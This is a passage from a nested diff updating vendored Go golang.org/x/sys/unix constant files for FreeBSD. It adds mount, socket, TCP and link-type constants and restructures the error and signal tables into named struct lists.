-+ MNT_EXPUBLIC = 0x20000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_GJOURNAL = 0x2000000
-+ MNT_IGNORE = 0x800000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_MULTILABEL = 0x4000000
-+ MNT_NFS4ACLS = 0x10
-+ MNT_NOATIME = 0x10000000
-+ MNT_NOCLUSTERR = 0x40000000
-+ MNT_NOCLUSTERW = 0x80000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NONBUSY = 0x4000000
-+ MNT_NOSUID = 0x8
-+ MNT_NOSYMFOLLOW = 0x400000
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SNAPSHOT = 0x1000000
-+ MNT_SOFTDEP = 0x200000
-+ MNT_SUIDDIR = 0x100000
-+ MNT_SUJ = 0x100000000
-+ MNT_SUSPEND = 0x4
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UNTRUSTED = 0x800000000
-+ MNT_UPDATE = 0x10000
-+ MNT_UPDATEMASK = 0xad8d0807e
-+ MNT_USER = 0x8000
-+ MNT_VERIFIED = 0x400000000
-+ MNT_VISFLAGMASK = 0xffef0ffff
-+ MNT_WAIT = 0x1
- MSG_CMSG_CLOEXEC = 0x40000
- MSG_COMPAT = 0x8000
- MSG_CTRUNC = 0x20
-@@ -1005,8 +1107,10 @@ const (
- NET_RT_IFLIST = 0x3
- NET_RT_IFLISTL = 0x5
- NET_RT_IFMALIST = 0x4
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOKERNINFO = 0x2000000
-+ NOTE_ABSTIME = 0x10
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
- NOTE_CLOSE = 0x100
-@@ -1161,7 +1265,6 @@ const (
- RTV_WEIGHT = 0x100
- RT_ALL_FIBS = -0x1
- RT_BLACKHOLE = 0x40
-- RT_CACHING_CONTEXT = 0x1
- RT_DEFAULT_FIB = 0x0
- RT_HAS_GW = 0x80
- RT_HAS_HEADER = 0x10
-@@ -1171,15 +1274,17 @@ const (
- RT_LLE_CACHE = 0x100
- RT_MAY_LOOP = 0x8
- RT_MAY_LOOP_BIT = 0x3
-- RT_NORTREF = 0x2
- RT_REJECT = 0x20
- RUSAGE_CHILDREN = -0x1
- RUSAGE_SELF = 0x0
- RUSAGE_THREAD = 0x1
- SCM_BINTIME = 0x4
- SCM_CREDS = 0x3
-+ SCM_MONOTONIC = 0x6
-+ SCM_REALTIME = 0x5
- SCM_RIGHTS = 0x1
- SCM_TIMESTAMP = 0x2
-+ SCM_TIME_INFO = 0x7
- SHUT_RD = 0x0
- SHUT_RDWR = 0x2
- SHUT_WR = 0x1
-@@ -1195,6 +1300,7 @@ const (
- SIOCGETSGCNT = 0xc0147210
- SIOCGETVIFCNT = 0xc014720f
- SIOCGHIWAT = 0x40047301
-+ SIOCGHWADDR = 0xc020693e
- SIOCGI2C = 0xc020693d
- SIOCGIFADDR = 0xc0206921
- SIOCGIFBRDADDR = 0xc0206923
-@@ -1216,8 +1322,11 @@ const (
- SIOCGIFPDSTADDR = 0xc0206948
- SIOCGIFPHYS = 0xc0206935
- SIOCGIFPSRCADDR = 0xc0206947
-+ SIOCGIFRSSHASH = 0xc0186997
-+ SIOCGIFRSSKEY = 0xc0946996
- SIOCGIFSTATUS = 0xc331693b
- SIOCGIFXMEDIA = 0xc028698b
-+ SIOCGLANPCP = 0xc0206998
- SIOCGLOWAT = 0x40047303
- SIOCGPGRP = 0x40047309
- SIOCGPRIVATE_0 = 0xc0206950
-@@ -1248,6 +1357,7 @@ const (
- SIOCSIFPHYS = 0x80206936
- SIOCSIFRVNET = 0xc020695b
- SIOCSIFVNET = 0xc020695a
-+ SIOCSLANPCP = 0x80206999
- SIOCSLOWAT = 0x80047302
- SIOCSPGRP = 0x80047308
- SIOCSTUNFIB = 0x8020695f
-@@ -1266,6 +1376,7 @@ const (
- SO_BINTIME = 0x2000
- SO_BROADCAST = 0x20
- SO_DEBUG = 0x1
-+ SO_DOMAIN = 0x1019
- SO_DONTROUTE = 0x10
- SO_ERROR = 0x1007
- SO_KEEPALIVE = 0x8
-@@ -1274,6 +1385,7 @@ const (
- SO_LISTENINCQLEN = 0x1013
- SO_LISTENQLEN = 0x1012
- SO_LISTENQLIMIT = 0x1011
-+ SO_MAX_PACING_RATE = 0x1018
- SO_NOSIGPIPE = 0x800
- SO_NO_DDP = 0x8000
- SO_NO_OFFLOAD = 0x4000
-@@ -1286,15 +1398,52 @@ const (
- SO_RCVTIMEO = 0x1006
- SO_REUSEADDR = 0x4
- SO_REUSEPORT = 0x200
-+ SO_REUSEPORT_LB = 0x10000
- SO_SETFIB = 0x1014
- SO_SNDBUF = 0x1001
- SO_SNDLOWAT = 0x1003
- SO_SNDTIMEO = 0x1005
- SO_TIMESTAMP = 0x400
-+ SO_TS_BINTIME = 0x1
-+ SO_TS_CLOCK = 0x1017
-+ SO_TS_CLOCK_MAX = 0x3
-+ SO_TS_DEFAULT = 0x0
-+ SO_TS_MONOTONIC = 0x3
-+ SO_TS_REALTIME = 0x2
-+ SO_TS_REALTIME_MICRO = 0x0
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
- SO_USER_COOKIE = 0x1015
- SO_VENDOR = 0x80000000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFWHT = 0xe000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TAB0 = 0x0
- TAB3 = 0x4
- TABDLY = 0x4
-@@ -1305,10 +1454,45 @@ const (
- TCOFLUSH = 0x2
- TCOOFF = 0x1
- TCOON = 0x2
-+ TCP_BBR_ACK_COMP_ALG = 0x448
-+ TCP_BBR_DRAIN_INC_EXTRA = 0x43c
-+ TCP_BBR_DRAIN_PG = 0x42e
-+ TCP_BBR_EXTRA_GAIN = 0x449
-+ TCP_BBR_IWINTSO = 0x42b
-+ TCP_BBR_LOWGAIN_FD = 0x436
-+ TCP_BBR_LOWGAIN_HALF = 0x435
-+ TCP_BBR_LOWGAIN_THRESH = 0x434
-+ TCP_BBR_MAX_RTO = 0x439
-+ TCP_BBR_MIN_RTO = 0x438
-+ TCP_BBR_ONE_RETRAN = 0x431
-+ TCP_BBR_PACE_CROSS = 0x442
-+ TCP_BBR_PACE_DEL_TAR = 0x43f
-+ TCP_BBR_PACE_PER_SEC = 0x43e
-+ TCP_BBR_PACE_SEG_MAX = 0x440
-+ TCP_BBR_PACE_SEG_MIN = 0x441
-+ TCP_BBR_PROBE_RTT_GAIN = 0x44d
-+ TCP_BBR_PROBE_RTT_INT = 0x430
-+ TCP_BBR_PROBE_RTT_LEN = 0x44e
-+ TCP_BBR_RACK_RTT_USE = 0x44a
-+ TCP_BBR_RECFORCE = 0x42c
-+ TCP_BBR_REC_OVER_HPTS = 0x43a
-+ TCP_BBR_RETRAN_WTSO = 0x44b
-+ TCP_BBR_RWND_IS_APP = 0x42f
-+ TCP_BBR_STARTUP_EXIT_EPOCH = 0x43d
-+ TCP_BBR_STARTUP_LOSS_EXIT = 0x432
-+ TCP_BBR_STARTUP_PG = 0x42d
-+ TCP_BBR_UNLIMITED = 0x43b
-+ TCP_BBR_USEDEL_RATE = 0x437
-+ TCP_BBR_USE_LOWGAIN = 0x433
- TCP_CA_NAME_MAX = 0x10
- TCP_CCALGOOPT = 0x41
- TCP_CONGESTION = 0x40
-+ TCP_DATA_AFTER_CLOSE = 0x44c
-+ TCP_DELACK = 0x48
- TCP_FASTOPEN = 0x401
-+ TCP_FASTOPEN_MAX_COOKIE_LEN = 0x10
-+ TCP_FASTOPEN_MIN_COOKIE_LEN = 0x4
-+ TCP_FASTOPEN_PSK_LEN = 0x10
- TCP_FUNCTION_BLK = 0x2000
- TCP_FUNCTION_NAME_LEN_MAX = 0x20
- TCP_INFO = 0x20
-@@ -1316,6 +1500,12 @@ const (
- TCP_KEEPIDLE = 0x100
- TCP_KEEPINIT = 0x80
- TCP_KEEPINTVL = 0x200
-+ TCP_LOG = 0x22
-+ TCP_LOGBUF = 0x23
-+ TCP_LOGDUMP = 0x25
-+ TCP_LOGDUMPID = 0x26
-+ TCP_LOGID = 0x24
-+ TCP_LOG_ID_LEN = 0x40
- TCP_MAXBURST = 0x4
- TCP_MAXHLEN = 0x3c
- TCP_MAXOLEN = 0x28
-@@ -1331,8 +1521,30 @@ const (
- TCP_NOPUSH = 0x4
- TCP_PCAP_IN = 0x1000
- TCP_PCAP_OUT = 0x800
-+ TCP_RACK_EARLY_RECOV = 0x423
-+ TCP_RACK_EARLY_SEG = 0x424
-+ TCP_RACK_IDLE_REDUCE_HIGH = 0x444
-+ TCP_RACK_MIN_PACE = 0x445
-+ TCP_RACK_MIN_PACE_SEG = 0x446
-+ TCP_RACK_MIN_TO = 0x422
-+ TCP_RACK_PACE_ALWAYS = 0x41f
-+ TCP_RACK_PACE_MAX_SEG = 0x41e
-+ TCP_RACK_PACE_REDUCE = 0x41d
-+ TCP_RACK_PKT_DELAY = 0x428
-+ TCP_RACK_PROP = 0x41b
-+ TCP_RACK_PROP_RATE = 0x420
-+ TCP_RACK_PRR_SENDALOT = 0x421
-+ TCP_RACK_REORD_FADE = 0x426
-+ TCP_RACK_REORD_THRESH = 0x425
-+ TCP_RACK_SESS_CWV = 0x42a
-+ TCP_RACK_TLP_INC_VAR = 0x429
-+ TCP_RACK_TLP_REDUCE = 0x41c
-+ TCP_RACK_TLP_THRESH = 0x427
-+ TCP_RACK_TLP_USE = 0x447
- TCP_VENDOR = 0x80000000
- TCSAFLUSH = 0x2
-+ TIMER_ABSTIME = 0x1
-+ TIMER_RELTIME = 0x0
- TIOCCBRK = 0x2000747a
- TIOCCDTR = 0x20007478
- TIOCCONS = 0x80047462
-@@ -1396,6 +1608,8 @@ const (
- TIOCTIMESTAMP = 0x40087459
- TIOCUCNTL = 0x80047466
- TOSTOP = 0x400000
-+ UTIME_NOW = -0x1
-+ UTIME_OMIT = -0x2
- VDISCARD = 0xf
- VDSUSP = 0xb
- VEOF = 0x0
-@@ -1407,6 +1621,8 @@ const (
- VKILL = 0x5
- VLNEXT = 0xe
- VMIN = 0x10
-+ VM_BCACHE_SIZE_MAX = 0x70e0000
-+ VM_SWZONE_SIZE_MAX = 0x2280000
- VQUIT = 0x9
- VREPRINT = 0x6
- VSTART = 0xc
-@@ -1569,138 +1785,146 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "operation canceled",
-- 86: "illegal byte sequence",
-- 87: "attribute not found",
-- 88: "programming error",
-- 89: "bad message",
-- 90: "multihop attempted",
-- 91: "link has been severed",
-- 92: "protocol error",
-- 93: "capabilities insufficient",
-- 94: "not permitted in capability mode",
-- 95: "state not recoverable",
-- 96: "previous owner died",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "ECANCELED", "operation canceled"},
-+ {86, "EILSEQ", "illegal byte sequence"},
-+ {87, "ENOATTR", "attribute not found"},
-+ {88, "EDOOFUS", "programming error"},
-+ {89, "EBADMSG", "bad message"},
-+ {90, "EMULTIHOP", "multihop attempted"},
-+ {91, "ENOLINK", "link has been severed"},
-+ {92, "EPROTO", "protocol error"},
-+ {93, "ENOTCAPABLE", "capabilities insufficient"},
-+ {94, "ECAPMODE", "not permitted in capability mode"},
-+ {95, "ENOTRECOVERABLE", "state not recoverable"},
-+ {96, "EOWNERDEAD", "previous owner died"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "unknown signal",
-- 33: "unknown signal",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "unknown signal"},
-+ {33, "SIGLIBRT", "unknown signal"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go
-index ac094f9c..4acd101c 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go
-@@ -3,7 +3,7 @@
-
- // +build amd64,freebsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -351,8 +351,26 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0x18
- CTL_NET = 0x4
-+ DIOCGATTR = 0xc148648e
-+ DIOCGDELETE = 0x80106488
-+ DIOCGFLUSH = 0x20006487
-+ DIOCGFRONTSTUFF = 0x40086486
-+ DIOCGFWHEADS = 0x40046483
-+ DIOCGFWSECTORS = 0x40046482
-+ DIOCGIDENT = 0x41006489
-+ DIOCGMEDIASIZE = 0x40086481
-+ DIOCGPHYSPATH = 0x4400648d
-+ DIOCGPROVIDERNAME = 0x4400648a
-+ DIOCGSECTORSIZE = 0x40046480
-+ DIOCGSTRIPEOFFSET = 0x4008648c
-+ DIOCGSTRIPESIZE = 0x4008648b
-+ DIOCSKERNELDUMP = 0x80506490
-+ DIOCSKERNELDUMP_FREEBSD11 = 0x80046485
-+ DIOCZONECMD = 0xc080648f
- DLT_A429 = 0xb8
- DLT_A653_ICM = 0xb9
- DLT_AIRONET_HEADER = 0x78
-@@ -377,11 +395,14 @@ const (
- DLT_CHAOS = 0x5
- DLT_CHDLC = 0x68
- DLT_CISCO_IOS = 0x76
-+ DLT_CLASS_NETBSD_RAWAF = 0x2240000
- DLT_C_HDLC = 0x68
- DLT_C_HDLC_WITH_DIR = 0xcd
- DLT_DBUS = 0xe7
- DLT_DECT = 0xdd
-+ DLT_DISPLAYPORT_AUX = 0x113
- DLT_DOCSIS = 0x8f
-+ DLT_DOCSIS31_XRA31 = 0x111
- DLT_DVB_CI = 0xeb
- DLT_ECONET = 0x73
- DLT_EN10MB = 0x1
-@@ -391,6 +412,7 @@ const (
- DLT_ERF = 0xc5
- DLT_ERF_ETH = 0xaf
- DLT_ERF_POS = 0xb0
-+ DLT_ETHERNET_MPACKET = 0x112
- DLT_FC_2 = 0xe0
- DLT_FC_2_WITH_FRAME_DELIMS = 0xe1
- DLT_FDDI = 0xa
-@@ -404,7 +426,6 @@ const (
- DLT_GPRS_LLC = 0xa9
- DLT_GSMTAP_ABIS = 0xda
- DLT_GSMTAP_UM = 0xd9
-- DLT_HHDLC = 0x79
- DLT_IBM_SN = 0x92
- DLT_IBM_SP = 0x91
- DLT_IEEE802 = 0x6
-@@ -427,6 +448,7 @@ const (
- DLT_IPV4 = 0xe4
- DLT_IPV6 = 0xe5
- DLT_IP_OVER_FC = 0x7a
-+ DLT_ISO_14443 = 0x108
- DLT_JUNIPER_ATM1 = 0x89
- DLT_JUNIPER_ATM2 = 0x87
- DLT_JUNIPER_ATM_CEMIC = 0xee
-@@ -459,8 +481,9 @@ const (
- DLT_LINUX_PPP_WITHDIRECTION = 0xa6
- DLT_LINUX_SLL = 0x71
- DLT_LOOP = 0x6c
-+ DLT_LORATAP = 0x10e
- DLT_LTALK = 0x72
-- DLT_MATCHING_MAX = 0x104
-+ DLT_MATCHING_MAX = 0x113
- DLT_MATCHING_MIN = 0x68
- DLT_MFR = 0xb6
- DLT_MOST = 0xd3
-@@ -476,14 +499,16 @@ const (
- DLT_NFC_LLCP = 0xf5
- DLT_NFLOG = 0xef
- DLT_NG40 = 0xf4
-+ DLT_NORDIC_BLE = 0x110
- DLT_NULL = 0x0
-+ DLT_OPENFLOW = 0x10b
- DLT_PCI_EXP = 0x7d
- DLT_PFLOG = 0x75
- DLT_PFSYNC = 0x79
- DLT_PKTAP = 0x102
- DLT_PPI = 0xc0
- DLT_PPP = 0x9
-- DLT_PPP_BSDOS = 0x10
-+ DLT_PPP_BSDOS = 0xe
- DLT_PPP_ETHER = 0x33
- DLT_PPP_PPPD = 0xa6
- DLT_PPP_SERIAL = 0x32
-@@ -494,19 +519,25 @@ const (
- DLT_PRONET = 0x4
- DLT_RAIF1 = 0xc6
- DLT_RAW = 0xc
-+ DLT_RDS = 0x109
-+ DLT_REDBACK_SMARTEDGE = 0x20
- DLT_RIO = 0x7c
- DLT_RTAC_SERIAL = 0xfa
- DLT_SCCP = 0x8e
- DLT_SCTP = 0xf8
-+ DLT_SDLC = 0x10c
- DLT_SITA = 0xc4
- DLT_SLIP = 0x8
-- DLT_SLIP_BSDOS = 0xf
-+ DLT_SLIP_BSDOS = 0xd
- DLT_STANAG_5066_D_PDU = 0xed
- DLT_SUNATM = 0x7b
- DLT_SYMANTEC_FIREWALL = 0x63
-+ DLT_TI_LLN_SNIFFER = 0x10d
- DLT_TZSP = 0x80
- DLT_USB = 0xba
- DLT_USBPCAP = 0xf9
-+ DLT_USB_DARWIN = 0x10a
-+ DLT_USB_FREEBSD = 0xba
- DLT_USB_LINUX = 0xbd
- DLT_USB_LINUX_MMAPPED = 0xdc
- DLT_USER0 = 0x93
-@@ -525,10 +556,14 @@ const (
- DLT_USER7 = 0x9a
- DLT_USER8 = 0x9b
- DLT_USER9 = 0x9c
-+ DLT_VSOCK = 0x10f
-+ DLT_WATTSTOPPER_DLM = 0x107
- DLT_WIHART = 0xdf
- DLT_WIRESHARK_UPPER_PDU = 0xfc
- DLT_X2E_SERIAL = 0xd5
- DLT_X2E_XORAYA = 0xd6
-+ DLT_ZWAVE_R1_R2 = 0x105
-+ DLT_ZWAVE_R3 = 0x106
- DT_BLK = 0x6
- DT_CHR = 0x2
- DT_DIR = 0x4
-@@ -546,6 +581,7 @@ const (
- ECHONL = 0x10
- ECHOPRT = 0x20
- EVFILT_AIO = -0x3
-+ EVFILT_EMPTY = -0xd
- EVFILT_FS = -0x9
- EVFILT_LIO = -0xa
- EVFILT_PROC = -0x5
-@@ -553,11 +589,12 @@ const (
- EVFILT_READ = -0x1
- EVFILT_SENDFILE = -0xc
- EVFILT_SIGNAL = -0x6
-- EVFILT_SYSCOUNT = 0xc
-+ EVFILT_SYSCOUNT = 0xd
- EVFILT_TIMER = -0x7
- EVFILT_USER = -0xb
- EVFILT_VNODE = -0x4
- EVFILT_WRITE = -0x2
-+ EVNAMEMAP_NAME_SIZE = 0x40
- EV_ADD = 0x1
- EV_CLEAR = 0x20
- EV_DELETE = 0x2
-@@ -574,6 +611,7 @@ const (
- EV_RECEIPT = 0x40
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_MAXNAMELEN = 0xff
- EXTATTR_NAMESPACE_EMPTY = 0x0
- EXTATTR_NAMESPACE_SYSTEM = 0x2
- EXTATTR_NAMESPACE_USER = 0x1
-@@ -608,12 +646,14 @@ const (
- F_UNLCKSYS = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
- IEXTEN = 0x400
- IFAN_ARRIVAL = 0x0
- IFAN_DEPARTURE = 0x1
-+ IFCAP_WOL_MAGIC = 0x2000
- IFF_ALLMULTI = 0x200
- IFF_ALTPHYS = 0x4000
- IFF_BROADCAST = 0x2
-@@ -630,6 +670,7 @@ const (
- IFF_MONITOR = 0x40000
- IFF_MULTICAST = 0x8000
- IFF_NOARP = 0x80
-+ IFF_NOGROUP = 0x800000
- IFF_OACTIVE = 0x400
- IFF_POINTOPOINT = 0x10
- IFF_PPROMISC = 0x20000
-@@ -804,6 +845,7 @@ const (
- IPV6_DSTOPTS = 0x32
- IPV6_FLOWID = 0x43
- IPV6_FLOWINFO_MASK = 0xffffff0f
-+ IPV6_FLOWLABEL_LEN = 0x14
- IPV6_FLOWLABEL_MASK = 0xffff0f00
- IPV6_FLOWTYPE = 0x44
- IPV6_FRAGTTL = 0x78
-@@ -824,13 +866,13 @@ const (
- IPV6_MAX_GROUP_SRC_FILTER = 0x200
- IPV6_MAX_MEMBERSHIPS = 0xfff
- IPV6_MAX_SOCK_SRC_FILTER = 0x80
-- IPV6_MIN_MEMBERSHIPS = 0x1f
